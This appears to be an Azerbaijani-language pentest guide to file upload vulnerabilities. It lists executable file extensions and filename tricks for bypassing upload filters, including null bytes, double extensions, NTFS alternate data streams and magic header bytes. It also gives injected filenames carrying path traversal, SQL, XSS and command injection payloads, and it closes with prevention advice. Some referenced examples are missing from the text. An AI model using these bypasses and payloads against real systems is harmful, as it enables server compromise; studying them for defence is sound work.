File Upload
File Upload Zəifliyi nədir?
Fayl yükləmə boşluqları veb tətbiqi istifadəçilərə lazımi təhlükəsizlik yoxlamaları olmadan faylları yükləməyə icazə verdikdə baş verir. Təcavüzkarlar skriptlər və ya icra edilə bilən fayllar kimi zərərli ılır faylları serverə yükləməklə bu zəiflikdən istifadə edə bilərlər. Bu fayllar daha sonra çalışdırılır, bu da icazəsiz girişə, məlumatların pozulmasına və ya hətta Remote Code Execution-a səbəb ola bilər. Fayl yükləmə zəifliklərini müəyyən etmək və istismar etmək üçün təcavüzkarlar tez-tez fayl növlərini manipulyasiya edir, skriptləri yükləyir və ya fayl ölçüsü limitlərini aşırlar. Developrtlət üçün ciddi filtirləmə həyata keçirmək, düzgün fayl növü məhdudiyyətlərini tətbiq etmək və veb tətbiqlərində fayl yükləmə zəiflikləri riskini azaltmaq üçün təhlükəsiz faylların idarə edilməsi təcrübələrini artırmaq çox vacibdir. Daimi təhlükəsizlik qiymətləndirmələri və sınaqları bu cür zəiflikləri zərərli şəxslər tərəfindən istismar edilməzdən əvvəl aşkar etməyə və aradan qaldırmağa kömək edə bilər.
File Upload-ın ümumi metodologiyası
Digər yararlı uzantılar:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
İşləyənlər PHPv8-də: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
File extension yoxlamalarından yan keçmək üçün yollar
Bəzi böyük hərflərdən istifadə edərək əvvəlki uzantıları yoxlayın: pHp, .pHP5, .PhAr ...
Uzantıdan əvvəl etibarlı uzantı əlavə etməyi yoxlayın (əvvəlki uzantınıda istifadə edin):
file.png.php
file.png.Php5
Sonda xüsusi simvollar əlavə etməyə çalışın. Bütün ascii və Unicode simvollarını istifadə üçün Burp istifadə edə bilərsiniz. (Qeyd edək ki,yuxarıdakı uzantılardan da istifadə etməyə cəhd edə bilərsiniz)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Uzantını ikiqat artırmaq və ya uzantılar arasında lazımsız məlumatları (null bayt) əlavə etmək kimi üsullarla server tərəfinin uzantı filtering aldadan qorumalardan yan keçməyə çalışın. Daha yaxşı payload hazırlamaq üçün əvvəlki uzantılardan da istifadə edə bilərsiniz.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Digər növ uzantılar əlavə edərək yoxlayın:
file.png.jpg.php
file.php%00.png%00.jpg
Əsas lazım olan payload uzantısını güvənilən uzantıdan əvvəl qoymağa çalışın. (Burada Apache-nin yanlış konfiqurasiyalarından istifadə etmək olar, burada uzantısı ** .php olan, lakin .php** ilə bitməyən hər hansı bir şey kodu icra edəcək):
ex: file.php.png
Windows-da NTFS alternativ məlumat axınından (ADS) istifadəedin. Bu halda, qadağan edilmiş uzantıdan sonra və icazə veriləndən əvvəl iki nöqtə işarəsi ":" qoyulacaq. Nəticədə, serverdə qadağan edilmiş uzantı ilə boş bir fayl yaradılacaq (məsələn, “file.asax:.jpg”). “::$data” nümunəsi boş olmayan fayllar yaratmaq üçün də istifadə edilə bilər. Buna görə də, bu nümunədən sonra nöqtə simvolunun əlavə edilməsi əlavə məhdudiyyətləri (məsələn, “file.asp::$data”) bypass etmək üçün faydalı ola bilər.
Fayl adı qadağalarını pozmağa çalışın. Etibarlı uzantı kəsilir. Və zərərli PHP qalır.AAA<--SNIP-->AAA.php
ImageTragic
Zəiflikdən istifadə etmək üçün bu məzmunu şəkilin uzantısı ilə birlikdə yükləyin.
Sehrli Başlıq Bitləri
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
File upload ilə digər zəifliklərdən də istifadə etmək
Bunu dayl adı edin
../../../tmp/lol.png
və path traversal almağa cəhd edinBunu dayl adı edin
sleep(10)-- -.jpg
və ola bilər ki burada SQL tapdınBunu dayl adı edin
<svg onload=alert(document.domain)>
XSS zəfliyini istifadə etBunu dayl adı edin
; sleep 10;
sonra isə bəzi command injection-lari yoxlayın
Windows ADS
Alternativ Məlumat axını (ADS) NTFS fayl sisteminin az tanınan xüsusiyyətidir. O, fayl ölçüsünü və ya funksionallığını dəyişmədən məlumatları mövcud fayla çevirmək qabiliyyətinə malikdir. Başqa sözlə, ADS faylı digərinin içərisində gizlətməyə imkan verir. Aşağıdakı nümunə file.txt daxilində calc.exe faylının kopyasını gizlədir:
Gizli calc.exe copyasını işə salmaq üçün aşağıdakı əmri işlədə bilərsiniz:
Zip/Tar File Automatically decompressed Upload
Əgər server daxilində sıxışdırılacaq ZIP yükləyə bilsəniz, 2 şeyi edə bilərsiniz:
Symlink
Digər fayllara soft bağlantılar olan bir keçid yükləyin, sonra dekompressiya edilmiş fayllara daxil olmaqla, əlaqəli fayllara daxil olacaqsınız:
File Upload zəfliyinin qarşısını necə almaq olar?
Fayl yükləmələrinin qarşısını almaq üçün bir neçə yol tətbiq edə bilərsiniz. Birincisi, giriş məhdudiyyətlərindən istifadə edərək müştəri tərəfindən yüklənə bilən fayl növlərini təsdiqləyin (məsələn, yalnız xüsusi fayl uzantılarını qəbul edin). Əlavə olaraq, bunu etdikdən sonra sonra fayl növlərini və məzmununu iki dəfə yoxlamaq üçün server tərəfində də doğrulama tətbiq edin. Sisteminizi yükləyə biləcək böyük faylların qarşısını almaq üçün yükləmələr üçün ölçü məhdudiyyətləri təyin edin. Kod yeridilməsi və path traversal kimi ümumi zəifliklərin qarşısını almaq üçün təhlükəsiz kodlaşdırmadan istifadə edin. Potensial təhlükəsizlik boşluqlarını aradan qaldırmaq üçün server proqramınızı daimi olaraq yeniləyin və patch edin. Güclü bir firewall və ya IDS, IPS-dən istifadə əlavə müdafiə edə bilər. Nəhayət, istifadəçiləri fayl yükləmələri ilə bağlı potensial risklər haqqında məlumatlandırın və faylları paylaşarkən onları etibarlı mənbələrdən istifadə etməyə təşviq edin.
Last updated